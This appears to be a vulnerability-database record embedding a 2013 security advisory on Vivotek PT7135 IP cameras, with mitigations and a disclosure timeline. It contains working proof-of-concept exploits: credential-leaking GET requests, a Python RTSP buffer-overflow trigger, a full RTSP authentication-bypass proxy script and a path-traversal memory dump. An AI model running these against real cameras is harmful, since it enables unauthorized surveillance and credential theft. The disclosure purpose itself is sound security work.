"id": "JVNDB-2019-009359"
},
{
"date": "2019-09-10T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201909-456"
},
{
"date": "2019-09-10T18:15:12.900000",
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-09-16T00:00:00",
"db": "VULHUB",
"id": "VHN-146405"
},
{
"date": "2019-09-18T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-009359"
},
{
"date": "2021-07-26T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201909-456"
},
{
"date": "2024-11-21T04:26:46.890000",
"db": "NVD",
"id": "CVE-2019-14457"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201909-456"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK IP Camera Classic buffer overflow vulnerability in device firmware",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009359"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201909-456"
}
],
"trust": 0.6
}
}
VAR-202001-0834
Vulnerability from variot - Updated: 2025-01-30 21:40An Information Disclosure vulnerability exists via a GET request in Vivotek PT7135 IP Camera 0300a and 0400a due to wireless keys and 3rd party credentials stored in clear text. Vivotek PT7135 IP Camera Contains an information disclosure vulnerability.Information may be obtained. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. Advisory Information
Title: Vivotek IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0301 Advisory URL: http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-04-29 Vendors contacted: Vivotek Release mode: User release
- Vulnerability Information
Class: Information leak through GET request [CWE-598], Buffer overflow [CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598
- [CVE-2013-1594] to process GET requests that contain sensitive information,
- [CVE-2013-1595] to execute arbitrary code,
- [CVE-2013-1596] to access the video stream via RTSP,
- [CVE-2013-1597] to dump the camera's memory and retrieve user credentials,
-
[CVE-2013-1598] to execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a).
-
Vulnerable Packages
. Vivotek PT7135 IP camera with firmware 0300a. Vivotek PT7135 IP camera with firmware 0400a. Other Vivotek cameras/firmware are probably affected too, but they were not checked.
- Non-Vulnerable Packages
Vendor did not provide details. Contact Vivotek for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Vivotek after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information.
Some mitigation actions may be:
. Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering '/../../' and 'getparam.cgi' in HTTP requests. Filter strings in the parameter 'system.ntp' on every request made to the binary 'farseer.out'.
- Credits
[CVE-2013-1594] was originally discovered and reported [2] by Alejandro Leon Morales [3] and re-discovered on new firmware versions by Flavio De Cristofaro from Core Security.
[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. Sensitive information stored in plain text includes:
. FTP credentials . Share folder credentials . SMTP credentials . WEP / WPA Keys . DynDNS credentials . Safe100.net credentials . TZO credentials, among others. The following GET requests can exploit the vulnerability (requests may change according to firmware versions and vendors devices):
/----- http://192.168.1.100/cgi-bin/admin/getparam.cgi
http://192.168.1.100/setup/parafile.html -----/
8.2. Remote Buffer Overflow
[CVE-2013-1595] The following Python script can be used to trigger the vulnerability. This script will send to the RTSP service a specially crafted packet with the header field 'Authorization' fully completed with the character 'a' (0x61). As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.
/----- import socket, base64
cam_ip = '192.168.1.100' session_descriptor = 'live.sdp'
request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip, session_descriptor) request+= 'CSeq: 1\r\n' request+= 'Authorization: Basic %s\r\n' request+= '\r\n'
auth_little = 'a' * 1000 auth_big = 'a' * 10000
msgs = [request % auth_little, request % auth_big]
for msg in msgs: s = socket.socket() s.connect((cam_ip, 554)) print s.send(msg) print s.recv(0x10000) s.close()
-----/
8.3. RTSP Authentication Bypass
[CVE-2013-1596] This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. As a result, the video stream can be accessed by an unauthenticated remote attacker.
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread): dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class Vivotek(Camera): # Vivotek PT7135/0400a def init(self, address): Camera.init(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.%s\s(.+?)[;|\r].' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/
8.4. User Credentials Leaked via Path Traversal
[CVE-2013-1597] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker (firmware 0300a). The same attack is still valid with firmware 0400a but the user has to be authenticated in order to exploit this flaw.
/----- import httplib
conn = httplib.HTTPConnection("192.168.1.100") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() -----/
8.5. OS Command Injection
[CVE-2013-1598] The command injection is located in the binary file 'farseer.out' in the parameter 'system.ntp':
/-----
.text:0000CB34 MOV R1, R4
.text:0000CB38 LDR R0, =aCmdporcessStar ;
"[CmdPorcess] Start sync with NTP server %s"...
.text:0000CB3C ADD R10, SP, #0x144+var_120
.text:0000CB40 BNE loc_CB68
[...]
.text:0000CB68 BL .printf
.text:0000CB6C LDR R2, =aSS_0 ; "%s%s"
.text:0000CB70 LDR R3, =aUsrSbinPsntpda ;
"/usr/sbin/psntpdate -4fr "
.text:0000CB74 MOV R1, #0xFF ; maxlen
.text:0000CB78 MOV R0, R10 ; s
.text:0000CB7C STR R4, [SP,#0x144+var_144]
.text:0000CB80 BL .snprintf
.text:0000CB84 MOV R0, R10 ; command
.text:0000CB88 BL .system
-----/
- Report Timeline
. 2013-03-06: Core Security Technologies notifies the Vivotek Customer Support of the vulnerability (tracking ID CRM:00930113) and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-03-11: Core asks for a security manager to send a confidential report. 2013-03-14: Core notifies the Vivotek Technical Support of the vulnerability (tracking ID CRM:00930485). 2013-03-18: Core opens a new ticket in the Vivotek Technical Support (tracking ID CRM:00930670). 2013-03-21: Core asks for a reply regarding the tracking ID CRM:00930485. 2013-04-24: Core tries to contact vendor for last time without any reply. 2013-04-29: After 6 failed attempts to report the issues, the advisory CORE-2013-0301 is published as 'user-release'.
- References
[1] http://www.vivotek.com/web/product/NetworkCameras.aspx [2] http://www.securityfocus.com/bid/54476. [3] Alejandro Leon Morales [Gothicx] http://www.undermx.blogspot.mx.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0834",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "pt7135",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "0400a"
},
{
"model": "pt7135",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": "0300a"
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "pt7135 firmware 0300a"
},
{
"model": "pt7135",
"scope": "eq",
"trust": 0.8,
"vendor": "vivotek",
"version": "pt7135 firmware 0400a"
},
{
"model": "network cameras",
"scope": null,
"trust": 0.6,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135 ip camera 0400a",
"scope": null,
"trust": 0.3,
"vendor": "vivotek",
"version": null
},
{
"model": "pt7135 ip camera 0300a",
"scope": null,
"trust": 0.3,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2012-3710"
},
{
"db": "BID",
"id": "59572"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Alejandro Leon Morales Flavio De Cristofaro of Core Security",
"sources": [
{
"db": "BID",
"id": "59572"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-040"
}
],
"trust": 0.9
},
"cve": "CVE-2013-1594",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2013-1594",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1594",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 7.5,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2013-1594",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1594",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2013-1594",
"trust": 0.8,
"value": "High"
},
{
"author": "VULMON",
"id": "CVE-2013-1594",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2013-1594"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007082"
},
{
"db": "NVD",
"id": "CVE-2013-1594"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An Information Disclosure vulnerability exists via a GET request in Vivotek PT7135 IP Camera 0300a and 0400a due to wireless keys and 3rd party credentials stored in clear text. Vivotek PT7135 IP Camera Contains an information disclosure vulnerability.Information may be obtained. Vivotek Network Cameras is a wireless network camera. Vivotek Network Cameras failed to properly handle user-submitted requests, allowing remote attackers to submit malicious requests for sensitive information such as FTP and DYNDNS. \nSuccessful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. *Advisory Information*\n\nTitle: Vivotek IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0301\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-04-29\nVendors contacted: Vivotek\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Information leak through GET request [CWE-598], Buffer overflow\n[CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS\ncommand injection [CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597,\nCVE-2013-1598\n\n3. [CVE-2013-1594] to process GET requests that contain sensitive\ninformation,\n 2. [CVE-2013-1595] to execute arbitrary code,\n 3. [CVE-2013-1596] to access the video stream via RTSP,\n 4. [CVE-2013-1597] to dump the camera\u0027s memory and retrieve user\ncredentials,\n 5. [CVE-2013-1598] to execute arbitrary commands from the\nadministration web interface (pre-authentication with firmware 0300a and\npost-authentication with firmware 0400a). \n\n4. *Vulnerable Packages*\n\n . Vivotek PT7135 IP camera with firmware 0300a. Vivotek PT7135 IP camera with firmware 0400a. Other Vivotek cameras/firmware are probably affected too, but they\nwere not checked. \n\n5. *Non-Vulnerable Packages*\n\nVendor did not provide details. Contact Vivotek for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Vivotek after several attempts to\nreport these vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \n\nSome mitigation actions may be:\n\n . Do not expose the camera to internet unless absolutely necessary. Filter RTSP traffic (default port 554) if possible. Have at least one proxy filtering \u0027/../../\u0027 and \u0027getparam.cgi\u0027 in\nHTTP requests. Filter strings in the parameter \u0027system.ntp\u0027 on every request made\nto the binary \u0027farseer.out\u0027. \n\n7. *Credits*\n\n[CVE-2013-1594] was originally discovered and reported [2] by Alejandro\nLeon Morales [3] and re-discovered on new firmware versions by Flavio De\nCristofaro from Core Security. \n\n[CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by\nMartin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was\nmade by Martin Rocha with help of Juan Cotta from Core QA Team. \n\n[CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by\nFrancisco Falcon and Nahuel Riva from Core Exploit Writers Team. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. Sensitive information stored in plain text includes:\n\n . FTP credentials\n . Share folder credentials\n . SMTP credentials\n . WEP / WPA Keys\n . DynDNS credentials\n . Safe100.net credentials\n . TZO credentials, among others. \nThe following GET requests can exploit the vulnerability (requests may\nchange according to firmware versions and vendors devices):\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/getparam.cgi\n\nhttp://192.168.1.100/setup/parafile.html\n-----/\n\n\n8.2. *Remote Buffer Overflow*\n\n[CVE-2013-1595] The following Python script can be used to trigger the\nvulnerability. This script will send to the RTSP service a specially\ncrafted packet with the header field \u0027Authorization\u0027 fully completed\nwith the character \u0027a\u0027 (0x61). As a result, the Instruction Pointer\nregister (IP) will be overwritten with 0x61616161, which is a typical\nbuffer overrun condition. \n\n/-----\nimport socket, base64\n\ncam_ip = \u0027192.168.1.100\u0027\nsession_descriptor = \u0027live.sdp\u0027\n\nrequest = \u0027DESCRIBE rtsp://%s/%s RTSP/1.0\\r\\n\u0027 % (cam_ip,\nsession_descriptor)\nrequest+= \u0027CSeq: 1\\r\\n\u0027\nrequest+= \u0027Authorization: Basic %s\\r\\n\u0027\nrequest+= \u0027\\r\\n\u0027\n\nauth_little = \u0027a\u0027 * 1000\nauth_big = \u0027a\u0027 * 10000\n\nmsgs = [request % auth_little, request % auth_big]\n\nfor msg in msgs:\n s = socket.socket()\n s.connect((cam_ip, 554))\n print s.send(msg)\n print s.recv(0x10000)\n s.close()\n\n-----/\n\n\n8.3. *RTSP Authentication Bypass*\n\n[CVE-2013-1596] This vulnerability is triggered by sending specially\ncrafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind((\u0027\u0027, self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind((\u0027\u0027, src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return \u0027\u0027\n\n\nclass Vivotek(Camera):\n # Vivotek PT7135/0400a\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return \u0027v=0\\r\\no=RTSP 836244 0 IN IP4 0.0.0.0\\r\\ns=RTSP\nserver\\r\\nc=IN IP4 0.0.0.0\\r\\nt=0\n0\\r\\na=charset:Shift_JIS\\r\\na=range:npt=0-\\r\\na=control:*\\r\\na=etag:1234567890\\r\\nm=video\n0 RTP/AVP 96\\r\\nb=AS:1200\\r\\na=rtpmap:96\nMP4V-ES/30000\\r\\na=control:trackID=1\\r\\na=fmtp:96\nprofile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\\r\\nm=audio\n0 RTP/AVP 97\\r\\na=control:trackID=3\\r\\na=rtpmap:97\nmpeg4-generic/16000/2\\r\\na=fmtp:97 streamtype=5; profile-level-id=15;\nmode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3;\nIndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\\r\\n\u0027\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n DEFAULT_CSEQ = 1\n 